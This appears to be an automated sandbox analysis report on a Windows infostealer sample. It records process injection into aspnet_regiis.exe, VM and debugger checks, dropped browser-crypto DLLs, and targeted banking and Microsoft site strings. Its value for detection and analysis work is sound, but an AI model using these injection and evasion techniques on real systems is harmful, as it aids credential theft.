Source: C:\Users\user\Desktop\file.exe	Memory allocated: 8AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 9AC0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

3_2_0040180D

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Window / User API: threadDelayed 2221			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Window / User API: threadDelayed 857			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\msvcp110.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

API coverage: 8.8 %

Source: C:\Users\user\Desktop\file.exe TID: 3048

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

3_2_00410DDB

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E8120ED FindFirstFileExW,	0_2_6E8120ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	3_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	3_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

3_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_00410FBA GetSystemInfo,wsprintfA,

3_2_00410FBA

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: VMware
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: Amcache.hve.3.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F06000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Amcache.hve.3.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Amcache.hve.3.dr	Binary or memory string: vmci.sys
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.3.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.3.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.3.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.3.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.3.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.3.dr	Binary or memory string: VMware, Inc.
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.3.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.3.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Amcache.hve.3.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Amcache.hve.3.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.3.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.3.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Amcache.hve.3.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: aspnet_regiis.exe, 00000003.00000003.2530658273.0000000002FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	API call chain: ExitProcess graph end node	graph_3-75721
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	API call chain: ExitProcess graph end node	graph_3-75737
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	API call chain: ExitProcess graph end node	graph_3-77061

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6E81019C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6E81019C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

3_2_00418950

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_004014AD mov eax, dword ptr fs:[00000030h]	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0040148A mov eax, dword ptr fs:[00000030h]	3_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_004014A2 mov eax, dword ptr fs:[00000030h]	3_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_00418599 mov eax, dword ptr fs:[00000030h]	3_2_00418599
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0041859A mov eax, dword ptr fs:[00000030h]	3_2_0041859A

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6E813810 GetProcessHeap,

0_2_6E813810

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E80BCC7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6E80BCC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E81019C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6E81019C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6E80C1F2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6E80C1F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0041D016 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0041D016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0041D98C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0041D98C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0042762E SetUnhandledExceptionFilter,	3_2_0042762E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7CB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6C7CB66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C7CB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C7CB1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C97AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C97AC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 2960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 5576, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6E7F9DF0 GetGameData,GetConsoleWindow,ShowWindow,VirtualAlloc,CreateProcessW,Wow64GetThreadContext,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,ReadProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,CloseHandle,CloseHandle,WriteProcessMemory,ResumeThread,

0_2_6E7F9DF0

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		3_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		3_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 670000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 671000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2BD2008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6E80C3B8 cpuid

0_2_6E80C3B8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	3_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_0042B0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	3_2_0042B1C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	3_2_00429A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	3_2_0042B268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	3_2_0042B2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	3_2_0042AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	3_2_004253E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	3_2_0042B494
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	3_2_0042749C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: EnumSystemLocalesA,	3_2_0042B556
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	3_2_00429D6E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	3_2_0042E56F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_00427576
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	3_2_00428DC4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_0042B5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_0042B580
